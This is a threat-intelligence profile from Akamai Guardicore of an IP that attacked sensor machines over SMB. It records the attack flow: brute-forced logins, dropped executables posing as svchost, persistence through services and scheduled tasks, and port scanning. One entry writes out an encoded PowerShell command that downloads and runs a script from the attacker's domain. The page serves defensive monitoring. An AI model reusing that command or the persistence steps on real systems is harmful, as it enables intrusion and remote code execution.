Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 78.187.210.243Previously Malicious

IP Address: 78.187.210.243Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Service Creation Access Suspicious Domain SMB Service Start CMD Port 445 Scan SMB Null Session Login Download File Service Stop Service Configuration SMB Share Connect PowerShell Service Deletion DNS Query Listening Persistency - Logon System File Modification Successful SMB Login Download and Execute Scheduled Task Creation

Associated Attack Servers

o.beahh.com pp.abbny.com

36.37.83.243 36.37.88.167

Basic Information

IP Address

78.187.210.243

Domain

-

ISP

Turk Telekom

Country

Turkey

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-06-04

Last seen in Akamai Guardicore Segmentation

2021-01-04

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

The file C:\Windows\mJkkfqWn.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\mjkkfqwn.exe as a service named PBzL under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

Service PBzL was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 2 times

Download and Execute

The file C:\Windows\temp\svchost.exe was downloaded and executed 9 times

Download and Execute

The file c:\windows\syswow64\wmiex.exe was downloaded and executed 2 times

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

System file C:\Windows\temp\svchost.exe was modified 4 times

System File Modification

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

DNS Query Access Suspicious Domain

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

System file c:\windows\syswow64\drivers\svchost.exe was modified

System File Modification

c:\windows\temp\setup-install.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

The file C:\Windows\Temp\_MEI5722\pywintypes27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

The command line cmd.exe /c c:\windows\SysWOW64\drivers\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Ddrivers

Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net, o.beahh.com and p.abbny.com

DNS Query Access Suspicious Domain

Process NetworkService Service Group attempted to access suspicious domains: oo.beahh.com and p.abbny.com

DNS Query Access Suspicious Domain

The file C:\Windows\Temp\_MEI9482\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\Windows\Temp\_MEI9482\_ssl.pyd was downloaded and loaded by c:\windows\syswow64\netsh.exe

Download and Execute

The file C:\Windows\Temp\_MEI9482\select.pyd was downloaded and loaded by c:\windows\syswow64\netsh.exe

Download and Execute

The file C:\Windows\Temp\_MEI9482\pywintypes27.dll was downloaded and loaded by c:\windows\syswow64\netsh.exe

Download and Execute

Process c:\windows\syswow64\netsh.exe started listening on ports: 60124

The file C:\Windows\Temp\_MEI27682\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\system32\wbem\wmiprvse.exe attempted to access suspicious domains: _ldap._tcp.dc._msdcs.SERVER-BACKUP

DNS Query Access Suspicious Domain

Process c:\windows\temp\svchost.exe attempted to access domains: ip.42.pl

DNS Query

Process NetworkService Service Group attempted to access domains: ip.42.pl

DNS Query

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.13:445, 192.168.0.14:445, 192.168.0.15:445, 192.168.0.16:445, 192.168.0.17:445, 192.168.0.18:445, 192.168.0.19:445, 192.168.0.1:445, 192.168.0.20:445, 192.168.0.21:445, 192.168.0.22:445, 192.168.0.23:445, 192.168.0.24:445, 192.168.0.25:445, 192.168.0.2:445, 192.168.0.3:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445 and 192.168.0.9:445

Process c:\windows\temp\svchost.exe scanned port 445 on 25 IP Addresses

Port 445 Scan

Connection was closed due to user inactivity